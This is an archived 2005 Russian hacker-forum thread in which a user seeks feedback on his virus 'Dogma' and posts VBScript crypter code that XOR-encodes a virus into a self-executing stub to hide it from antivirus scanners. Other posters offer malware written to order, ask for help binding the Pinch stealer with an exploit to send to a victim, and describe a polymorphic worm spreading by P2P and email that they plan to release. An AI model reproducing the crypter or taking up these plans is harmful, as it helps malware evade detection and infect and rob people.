Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 
журналы новости статьи video форум подписка на «Хакер»

Прошу отценить мой вирус ...

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> Прошу отценить мой вирус ...
Имя
Сообщение << Старые топики   Новые топики >>
Прошу отценить мой вирус ... - 2005-06-10 22:24:04   
Dr.Crash Watchmaker

Сообщений: 21
Оценки: 0
Присоединился: 2005-06-07 20:51:06
 Написал тут на днях виря …. прошу чтоб вы его отценили своим глубоко профессиональным взглядом …
в архиве готовый вирь и исходники ….
пароль : слоники
жду вашей критики и предложений …

скачать архив можно здесь www.takedown.h15.ru/dogma.rar
Post #: 1
Прошу отценить мой вирус ... - 2005-06-11 00:57:10   
voody

Сообщений: 958
Оценки: 0
Присоединился: 2005-02-06 22:28:30
 А где вирь, я не понял? [sm=sm128.gif] WinRAR мне пишет (цитирую): "архивы не найдены". Пустому архиву, IMHO, можно дать не самую высокую оценку … [sm=1.gif]
Post #: 2
Прошу отценить мой вирус ... - 2005-06-11 08:40:32   
Ct757

Сообщений: 135
Оценки: 0
Присоединился: 2005-03-29 19:39:30
 Архив битый
Post #: 3
Прошу отценить мой вирус ... - 2005-06-11 08:46:32   
Dr.Crash Watchmaker

Сообщений: 21
Оценки: 0
Присоединился: 2005-06-07 20:51:06
 В связи с моим уходом в подполье это сообщение удалено !!!
Post #: 4
Прошу отценить мой вирус ... - 2005-06-11 08:51:38   
Dr.Crash Watchmaker

Сообщений: 21
Оценки: 0
Присоединился: 2005-06-07 20:51:06
sourse = "вирь"
output = "спрятанный вирь"
Set FSO = createоЬjесt("Sсгiрting.FileSystemоЬjесt")
Set BODY = Fso.OpenTextFile(sourse)
LG = BODY.ReadAll
tBody = "Body = " & Chr(34)
a = 13 xor 1
b = 34 xor 1
c = 10 xor 1
For m = 1 to Len(LG)
j = Asc(Mid(LG,m,1))
P =asc(Mid(LG,m,1)) xor 1
y = chr(p)
if j = 13 then y =chr(34) & " & chr(" & a &") & " & chr(34)
if j = 34 then y = chr(34) & " & chr(" & b &") & " & chr(34)
if j = 10 then y = chr(34) & " & chr(" & c &") & " & chr(34)
tBody = tBody + y
next
tbody = tbody + chr(34)
Set LM = Fso.CreateTextFile(output)
LM.write tbody & chr(13)
LM.write "For xx = 1 to len(Body)" & chr(13)
LM.write "gh = Asc(mid(Body,xx,1))"& chr(13)
LM.write "gh = gh xor 1"& chr(13)
LM.write"Mj = chr(gh)"& chr(13)
LM.write "iBody = iBody + mj"& chr(13)
LM.write "next"& chr(13)
LM.write "Execute(ibody)"& chr(13)

 

А вот этот скрипт надо запустить чтоб спрятать вирь от антивирей ….
Post #: 5
Прошу отценить мой вирус ... - 2005-06-14 09:42:02   
Dr.Crash Watchmaker

Сообщений: 21
Оценки: 0
Присоединился: 2005-06-07 20:51:06
Ну скажите хоть что нить …. ну хоть отматюгайте чтоли …. тогдя я пойду писать писать писать….
Post #: 6
Прошу отценить мой вирус ... - 2005-06-14 11:19:40   
Akademik

Сообщений: 21
Оценки: 0
Присоединился: 2005-06-14 10:48:19
слушай, а ты под заказ пишешь?

кое-что надо.
Post #: 7
Прошу отценить мой вирус ... - 2005-06-14 13:25:00   
jEnizix

Сообщений: 1797
Оценки: 0
Присоединился: 2004-12-30 11:03:50
 VB - это круто, а вири на нм просто супер! верю-верю…
Post #: 8
Прошу отценить мой вирус ... - 2005-06-14 16:32:15   
Xakep88

Сообщений: 92
Оценки: 0
Присоединился: 2005-02-06 10:38:19
 Братаны помогите плиз. Кто-нить сливал Pinch с Folder Exploit and Binhex и отправить жертве.
Кто-нить пробовал? Если нет помогите плиз. Или сделайте и я скажу куда отправить. Поможите?
Post #: 9
Прошу отценить мой вирус ... - 2005-06-14 20:25:02   
Dr.Crash Watchmaker

Сообщений: 21
Оценки: 0
Присоединился: 2005-06-07 20:51:06

Написать что-нить на заказ …. без проблеммм ….

но давайте без тупостей …. типа западло форматирующее винт ….

давайте что - нить серьёзное ….

мне нужно поразмять мозги ….

*******************************************************************

Планы на новю версию догмы :

Добавить (т.е уже добавлена) поддержка сети ….

Заставить юзать пару интересных эксплойтов ….

Прикрутить к нем метаморфный движок ….

ну пока всё ….
Post #: 10
Прошу отценить мой вирус ... - 2005-06-16 02:15:21   
c01dyr

Сообщений: 22
Оценки: 0
Присоединился: 2004-12-26 06:11:22
 Да , я тожы шас пишу полиморфный вир на vbs.
В нем я уже сделал рапостранение по P2P и ща дописываю рапостранение через email.
Но самое крутое - это функция криптования - обходит виртуальную машину AVP и самого dr.Web.

Полиморфный он до того что ключ криптованя меняется от копии к копии и сама функция криптования переписывается по новой. вот на свое день рождения и выпущу на волю (по крайней так намечается)
Post #: 11
Прошу отценить мой вирус ... - 2005-06-17 00:13:55   
voody

Сообщений: 958
Оценки: 0
Присоединился: 2005-02-06 22:28:30
 2 Akademic: я тоже могу на заказ че-нибудь состряпать. VBS хорошо знаю, но однажды я захотел чего-то с более широкими возможностями, а т.к. учить особенно ничего не хотелось - стал всякие пакости на Visual Basic'е делать [sm=scull.gif]. Могу послать колекцию моих вирусов, если интересно. А что конкретно ты хочешь чтобы вирус делал?
Post #: 12
Страниц:  [1]
Все форумы >> [Веб-программинг] >> Прошу отценить мой вирус ...







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.